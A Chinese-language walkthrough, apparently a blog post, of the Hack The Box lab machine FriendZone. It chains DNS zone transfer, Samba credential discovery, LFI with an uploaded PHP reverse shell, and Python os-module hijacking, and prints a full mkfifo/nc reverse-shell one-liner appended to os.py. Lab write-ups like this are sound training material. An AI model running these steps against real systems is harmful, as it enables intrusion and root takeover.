0x00.前言
我天性也许有些狡猾,但却一心想成为个真正的君子,有时我做事虽然虚伪,但无论如何,我总是照君子的样子做了出来。
0x01.信息搜集
开始之前先了解几个概念,
DNS区域传输:有时也称为诱导 DNS 查询类型AXFR,是一种DNS 事务。它是管理员可用于跨一组DNS 服务器复制DNS 数据库的众多机制之一。区域传输使用传输控制协议(TCP) 进行传输,并采用客户端-服务器事务的形式。请求区域传输的客户端可以是从主服务器请求数据的辅助服务器。被复制的数据库部分是一个区域。
AXFR:是一种“区域传输”协议,用于跨多个 DNS 服务器复制 DNS 数据。与需要用户提前知道一些 DNS 信息的普通 DNS 查询不同,AXFR 查询会显示包括子域名在内的资源记录。
dig:dig是Domain Information Groper的首字母缩写词。使用dig,可以查询 DNS 服务器以获取有关各种 DNS 记录的信息,包括主机地址、邮件交换、名称服务器和相关信息。它旨在成为诊断 DNS 问题的工具。但是,可以使用它来探索并了解有关 DNS 的更多信息,DNS 是保持 Internet 路由流量的中央系统之一。
dig查询DNS信息
nmap -sC -sV 10.10.10.123

开放端口:
21 ftp
22 ssh
53 domain
80 http
139 Samba
443 https
扫描到https的证书信息,一个域名,

使用dig查询,
dig axfr friendzone.red @10.10.10.123

查询到三条子域名:
- administrator1.friendzone.red
- hr.friendzone.red
- uploads.friendzone.red
全部添加到/etc/hosts文件中,让本地可以正确解析,如下:

Samba共享获取账户密码
Enum4linux:Enum4linux 是一个从 Windows 和 Samba 系统枚举信息的工具。
Smbclient:smbclient 命令可用于轻松访问 Windows 共享。通过使用 smbclient,可以轻松地列出、上传、删除或导航远程 Windows 共享。smbclient 命令还提供了一个交互式 shell。
用Enum4linux扫描下Samba的信息,
enum4linux 10.10.10.123

用smbclient连接共享,
smbclient -N \\\\10.10.10.123\\general
其中/general下发现一段文本文件creds.txt,内容如下:
creds for the admin THING:
admin:WORKWORKHhallelujah@#
Tips:Smb中没有cat命令,可以用more代替。

而在/Development中,没有文件,却可以上传文件。

0x02.LFI本地文件包含+文件上传获取shell
访问https://administrator1.friendzone.red/,可以看到一个登录框,用之前在Samba获得的账户密码可以登录(admin:WORKWORKHhallelujah@#),

根据提示访问/dashboard.php,

根据提示输入默认参数(?image_id=a.jpg&pagename=timestamp),

根据返回结果可以推测是访问了一张图片(a.jpg)和一个php脚本文件(timestamp),用DirButer扫描目录,结果可以验证,确实存在timestamp.php,

这里一个本地文件包含,再加上之前在/Development可以文件上传,就可以弹一个shell了,先在/Development上传一个php反弹shell脚本,

本地监听,

然后将浏览器url的pagename参数的值改为/etc/Development/shell,即:
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell
访问后即可收到一个反弹shell,

Tips:将pagename参数的值改为/etc/Development/shell的原因是,之前在用enum4linux收集Samba信息时便得到了Files的绝对路径是/etc/Files,据此便可推断/Development位于同级目录下,

第一个flag在/home/friend/user.txt,

0x03.模块劫持提权
打开pspy监听进程,可以发现一个python脚本,

查看代码,大部分都被注释了,只有两行起作用了,引入了os库,print输出了一行字符串,

这个脚本我们只有读权限,不能做修改,看起来不可利用,

但是通过Linpeas.sh脚本收集信息时,在可写目录这一段可以发现,os.py是可写的,

也就是说,只需在os.py追加一段反弹shell的代码,在每次reporter.py作为定时任务执行时,便会也将我们追加的代码执行一遍,所以,
echo "import os;os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 6666 >/tmp/f')" >> /usr/lib/python2.7/os.py
这行命令将会在os.py尾部追加一行代码,只要事先在本地监听好所设置的对应端口,就可以收到一个反弹shell,如下:

Tips:有一个问题是,要是反弹shell代码将os.py中原本内容覆盖了,是无法反弹shell的(在我本地测试是这样,但按理来说即使覆盖应该也能生效才对),只需要在原本代码后追加弹shell代码即可。
0x04.总结
这一台靶机给了很多无用且迷惑人的信息,比如一开始的其他几个子域名,不过本人都省略掉了这些部分。
关于Python模块劫持提权,有一篇不错的文章:https://rastating.github.io/privilege-escalation-via-python-library-hijacking/
参考视频:
https://www.youtube.com/watch?v=PXWvhJDQ9MQ
参考文章:
https://0xdf.gitlab.io/2019/07/13/htb-friendzone.html
https://resources.infosecinstitute.com/topic/hack-the-box-htb-walkthrough-friendzone/

Comments | NOTHING